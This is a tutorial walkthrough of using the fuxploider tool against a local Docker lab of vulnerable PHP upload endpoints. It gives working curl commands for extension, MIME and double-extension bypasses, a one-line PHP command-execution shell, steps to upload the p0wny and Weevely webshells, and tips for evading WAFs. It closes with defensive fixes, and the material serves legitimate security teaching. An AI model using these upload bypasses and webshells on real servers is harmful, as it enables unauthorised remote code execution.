This is the walkthrough I wish I had when I picked up fuxploider for the first time. We start from a fresh state (no target, no captured request, no notes) and end with a working webshell on the lab host, a Weevely session pivoting from that webshell, and an honest list of the cases where fuxploider's heuristic gives up and you have to drop into Burp by hand. Every step is reproducible against a vulnerable upload lab I publish for this purpose.
If you have not read the file upload vulnerabilities deep dive yet, do that first; this article assumes the variants are familiar. The fuxploider cheat sheet is the flag-by-flag reference that complements this walkthrough, and the best file upload tools list for 2026 is the comparison piece if you want to know where fuxploider sits next to Upload-Bypass and the rest.
A note on the output you will see. Every example in this article was produced against
techearl-labs/file-upload/upload-basic. The four endpoints, their broken validations, and the resulting exploitable paths are deterministic and will match what you get locally. A few outputs are environment-dependent and will differ in minor ways: the PHP minor version in the response header (depends on whichphp:8.2-apacheimage tag Docker pulled), the exact count of probe requests fuxploider reports, the order of the extensions inside fuxploider's wordlist on disk, and any timestamps. Those are illustrative, the structure underneath is what to follow.
The lab target
Pull and run the lab:
git clone https://github.com/ishankaru/techearl-labs.git
cd techearl-labs
docker compose up upload-basicThe target listens on http://localhost:8083. It exposes four upload endpoints, each broken a different way:
| Endpoint | Validation | Stored under | The flaw |
|---|---|---|---|
/upload-naive.php | None | /uploads/naive/ | Accepts anything |
/upload-blacklist.php | Extension blacklist of php, phtml, php3, php4 | /uploads/blacklist/ | Forgot .phar, which Apache maps to mod_php |
/upload-mime.php | Client-supplied Content-Type must be image/jpeg | /uploads/mime/ | Trusts attacker-controlled MIME |
/upload-double-ext.php | Trailing-extension blacklist | /uploads/double-ext/ | .htaccess uses AddHandler, so any filename containing .php executes |
The Apache config in the lab Dockerfile explicitly adds .phar to the PHP handler via a SetHandler block, which is a realistic misconfiguration (a tool needed PHAR support, the sysadmin enabled it, the upload-handler blacklist never got the memo). That is the working extension bypass on endpoint two. The double-extension endpoint enables the unsafe AddHandler application/x-httpd-php .php directive in a per-directory .htaccess, which is what makes shell.php.jpg execute as PHP.
Step 1: identify the upload form
Before fuxploider, look at the page. Hit the index and read the four endpoint descriptions:
curl -s http://localhost:8083/ | grep -oE '/(upload-[a-z-]+)\.php'Output:
/upload-naive.php
/upload-blacklist.php
/upload-mime.php
/upload-double-ext.php
Each endpoint serves an HTML form on GET and accepts a multipart file field on POST. fuxploider needs three pieces of information: the form URL, the name of the file input (file here), and a string in the response that reliably distinguishes a successful upload from a rejected one. The lab returns the literal word banned (and similar) on rejection, which is the signal we feed fuxploider via --not-regex.
Step 2: baseline run against the blacklist endpoint
Start with the blacklist endpoint, because that is the one fuxploider exists to solve:
python3 fuxploider.py \
-u http://localhost:8083/upload-blacklist.php \
--not-regex 'banned|rejected|disallowed'The first run with no other flags asks two interactive questions: which input field name to use (file), and whether to detect the true-versus-false signal automatically (yes). To skip the prompts in scripting, set the input name with -m --input-name file (the --input-name flag belongs to the manual-form-detection group, so it requires -m to be present), and use -T 5 (5 threads is a sane default for a local lab; higher just floods the container and produces flaky results).
Output (abbreviated):
[*] Checking forms in http://localhost:8083/upload-blacklist.php
[+] Form found:
action: /upload-blacklist.php
method: POST
input name: file
[*] Sending an upload with extension '.unknown' to fingerprint the rejection response
[+] Rejection signal locked: regex 'banned|rejected|disallowed' present on failure
[*] Iterating extension wordlist, 47 candidates ...
[-] .php rejected
[-] .phtml rejected
[-] .php3 rejected
[-] .php4 rejected
[-] .pht rejected
[+] .phar accepted ! file landed at /uploads/blacklist/payload.phar
[+] .phP accepted, but file is served as plain text (no handler match)
[-] .phps rejected
...
[*] Done. 1 working extension found: .phar
.phar is the hit. The case-flip variant .phP slipped past the validator too (the case-sensitive in_array check the blacklist uses is the realistic bug), but stock mod_php on the Debian base image matches \.php$ literally, so Apache serves the case-flipped file as text rather than executing it. fuxploider reports it accepted; you confirm execution separately.
Step 3: confirm execution
fuxploider tells you the file uploaded. It does not tell you the file ran. Confirm separately:
curl -s http://localhost:8083/uploads/blacklist/payload.pharIf the response is the literal content of the file (<?php ...), the upload landed but the extension is not mapped to PHP and the bypass is cosmetic. If the response is the executed output, you have RCE. With the lab's .phar handler, the output should be the executed shell stub.
The lesson: fuxploider's success criteria is "the server accepted the upload and did not return the rejection string". A landed-but-not-executed file is a false positive for RCE purposes. Always validate execution by hand.
Step 4: MIME bypass against the mime endpoint
The mime endpoint trusts the client-supplied Content-Type in the multipart part. fuxploider does not expose a CLI flag for forging the MIME directly; the easiest workflow is a one-line curl that lies about the type, since the validator is purely on the attacker-controlled Content-Type:
curl -F 'file=@shell.php;type=image/jpeg' http://localhost:8083/upload-mime.phpThe ;type=image/jpeg segment is appended to the multipart part as Content-Type: image/jpeg. PHP exposes this as $_FILES['file']['type'], and the validator trusts it without inspecting the file body, so the upload lands. Confirm execution:
curl 'http://localhost:8083/uploads/mime/shell.php?c=id'
# uid=33(www-data) gid=33(www-data) groups=33(www-data)To drive multiple extensions through the MIME endpoint in one run, point fuxploider at it and rely on whatever default Content-Type fuxploider sends in its multipart parts; for the lab's "anything-goes" validator that is enough:
python3 fuxploider.py \
-u http://localhost:8083/upload-mime.php \
--not-regex 'banned|rejected' \
-m --input-name fileOutput:
[+] .php accepted
[+] .phtml accepted
[+] .phar accepted
[*] 3 working extensions found.
For a stricter validator that also reads the first few bytes of the file body to confirm a real image magic prefix (\xFF\xD8\xFF for JPEG, \x89PNG for PNG), prepend those bytes to your PHP source to build a polyglot. fuxploider does not generate polyglots on its own; that step is manual. The right input shape is "upload the polyglot file by hand with curl", same one-liner pattern as above.
Step 5: double-extension bypass against the AddHandler misconfig
The double-extension endpoint checks the trailing extension and rejects anything that ends in a PHP variant. Easy bypass, because the uploads directory ships an .htaccess with AddHandler application/x-httpd-php .php, and AddHandler fires on any filename containing the registered extension anywhere in the name (this is the documented behaviour of mod_mime, not a bug per se, but it is the directive you should never put on a writable directory).
fuxploider does not have a dedicated --double-extension flag, but you do not need one. Add a forced suffix via the extension wordlist or pass the payload manually:
cp shell.php shell.php.jpg
curl -F 'file=@shell.php.jpg' http://localhost:8083/upload-double-ext.php
curl 'http://localhost:8083/uploads/double-ext/shell.php.jpg?c=id'Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
The validator sees .jpg as the trailing extension, accepts, and the file is served from a directory whose .htaccess tells Apache to treat anything matching .php anywhere in the name as PHP. The execution chain is AddHandler plus a writable upload directory plus a validator that only inspects the last extension; remove any one of those and the chain breaks.
To drive this from fuxploider rather than curl, extend its built-in extension list (the wordlist lives under the repo's templates/extensions data; see the README for the exact path on your install) with php.jpg, php.png, php.gif, then run the standard scan. fuxploider treats the dotted suffix as a single extension and the trick lands the same way.
Step 6: drop a real webshell
Up to here the payloads were one-liners (<?php echo shell_exec($_GET['c']); ?>). Useful for proving execution; thin for actually working on the host. Swap in a proper webshell.
I use p0wny-shell as the lightweight single-file PHP shell when I want a browser UI, and Weevely for an interactive session over a stealth stub. Drop p0wny first because it is one file and you already have the upload chain working:
curl -O https://raw.githubusercontent.com/flozz/p0wny-shell/master/shell.php
mv shell.php p0wny.phar
curl -F 'file=@p0wny.phar' http://localhost:8083/upload-blacklist.phpBrowse to http://localhost:8083/uploads/blacklist/p0wny.phar. You get a terminal-in-the-browser running as www-data. Good enough for fast triage, file listings, and config grepping.
Step 7: pivot to Weevely
p0wny is convenient. Weevely is the right tool for sustained work because the stub is small (one obfuscated <?php line), the channel is encrypted, and you get tab-completion, modules, and a real persistent session.
Generate a Weevely stub:
weevely generate hunter2 weevely.pharhunter2 is the shared password baked into the stub. Pick something unguessable in real engagements; hunter2 is fine for the lab.
Upload via the same blacklist bypass:
curl -F 'file=@weevely.phar' http://localhost:8083/upload-blacklist.phpConnect:
weevely http://localhost:8083/uploads/blacklist/weevely.phar hunter2Inside the Weevely session:
www-data@upload-basic:/var/www/html/uploads/blacklist $ :system_info
+--------------+----------------------------------------------------+
| client_ip | 172.27.0.1 |
| max_execution_time | 30 |
| script | /uploads/blacklist/weevely.phar |
| php_version | 8.2.x |
| uname | Linux upload-basic 6.x ... |
| os | Linux |
| safe_mode | False |
| open_basedir | (none) |
| document_root| /var/www/html |
+--------------+----------------------------------------------------+
From here :file_download, :audit_etcpasswd, :shell_su (with a target user), and :sql_console (if you find database credentials in the app config) are the usual next moves. The Weevely modules list (:help) is the cheat sheet.
Step 8: what fuxploider misses
Honest list, ordered by how often each one bites me:
- Server-side content inspection. Validators that call ImageMagick's
identifyor PHP'sgetimagesizeto confirm the bytes are a real image. fuxploider sends raw PHP source by default; a strict validator rejects it before extension matters. The fix is a polyglot (image header bytes prepended to PHP source), and fuxploider has no polyglot generator. You build the polyglot by hand and upload it directly with curl, the same one-liner pattern shown in Step 4. Pair that with a manual-r/--regex-overrideif you want fuxploider's response-classification logic on top of a hand-shaped file. - Magic-byte plus extension allowlist. Same idea, harder: the validator allows only
.jpg,.png,.gif, and checks magic bytes match. Bypass requires both a polyglot file body and a server that will execute the resulting file (typically via.htaccessinjection or anAddHandler-misconfigured directory). fuxploider cannot reason about this chain on its own. - Filename rewriting. Validators that rewrite the stored filename to a random string (
abc123.jpg) regardless of what you uploaded. fuxploider reports the upload as accepted because the response does not contain the rejection signal, but the stored path is unknown. You have to enumerate it (directory listing if enabled, or guessing via the application's image-rendering endpoint), which is out of scope for the tool. - Per-form CSRF tokens. fuxploider does not refresh tokens between requests. If the form embeds a single-use token, every attempt after the first fails. Workaround: a manual Burp Intruder run with the "Recursive grep" payload to scrape the new token from each response, or write a small wrapper script. fuxploider does not solve this for you.
- Rate limiting and WAFs. Lower
-T(threads) to slow the scan, set a customUser-Agentvia-U/--user-agent(or rotate via--random-user-agent) to dodge basic UA-blocklists, and rotate proxies via--proxyif needed. fuxploider does not expose a per-request delay flag, so for a hard rate-limit you wrap the invocation in a shell loop withsleepbetween extensions, or fall back to Burp Intruder with throttling. None of this saves you from a well-tuned WAF rule; at that point it is a manual Burp game.
The manual Burp workflow for any of the above is the same shape: capture a successful upload of an allowed file, send to Repeater, mutate one variable at a time (extension, MIME, filename, magic bytes, double extension, trailing null byte for legacy PHP, content), and observe response differences. fuxploider automates this loop for the simple cases; Burp Repeater plus Intruder is what you reach for when the validator is anything beyond a hard-coded blacklist.
What I would do next on this target
In a real engagement after Step 7 the report writes itself:
- Confirm upload acceptance on four endpoints.
- Confirm execution on three of the four (the case-flip on blacklist is upload-only; everything else is RCE).
- Confirm webshell write to a webserver-served directory.
- Confirm interactive session via Weevely from the dropped shell.
- Recommend: allowlist by extension (not blocklist), reject anything whose magic bytes do not match the allowlisted MIME, store uploads outside the webroot or in a directory with
SetHandler Noneplus an explicit<FilesMatch>for the allowed types, never useAddHandleron a user-writable directory, rewrite stored filenames to a random token with the validated extension appended by the server.
The point of this walkthrough is the chain: bypass plus writable webroot plus an executable-handler match equals RCE. Remove any one link and the exploit collapses.
Where to go next
- The fuxploider cheat sheet for the full flag reference.
- The file upload extension bypass guide for the variants beyond
.phar. - The file upload MIME bypass guide for the server-side content-inspection cases fuxploider cannot solve.
- The double-extension trick deep dive for the Apache and Nginx configurations that make it work.
- The file upload vulnerabilities deep dive for the defence playbook.
- The best file upload tools list for 2026 for Upload-Bypass and the alternatives.
Sources
Authoritative references this article was fact-checked against.
- fuxploider, project README on GitHubgithub.com
- OWASP, Unrestricted File Uploadowasp.org
- Apache HTTP Server, mod_mime AddHandler directivehttpd.apache.org





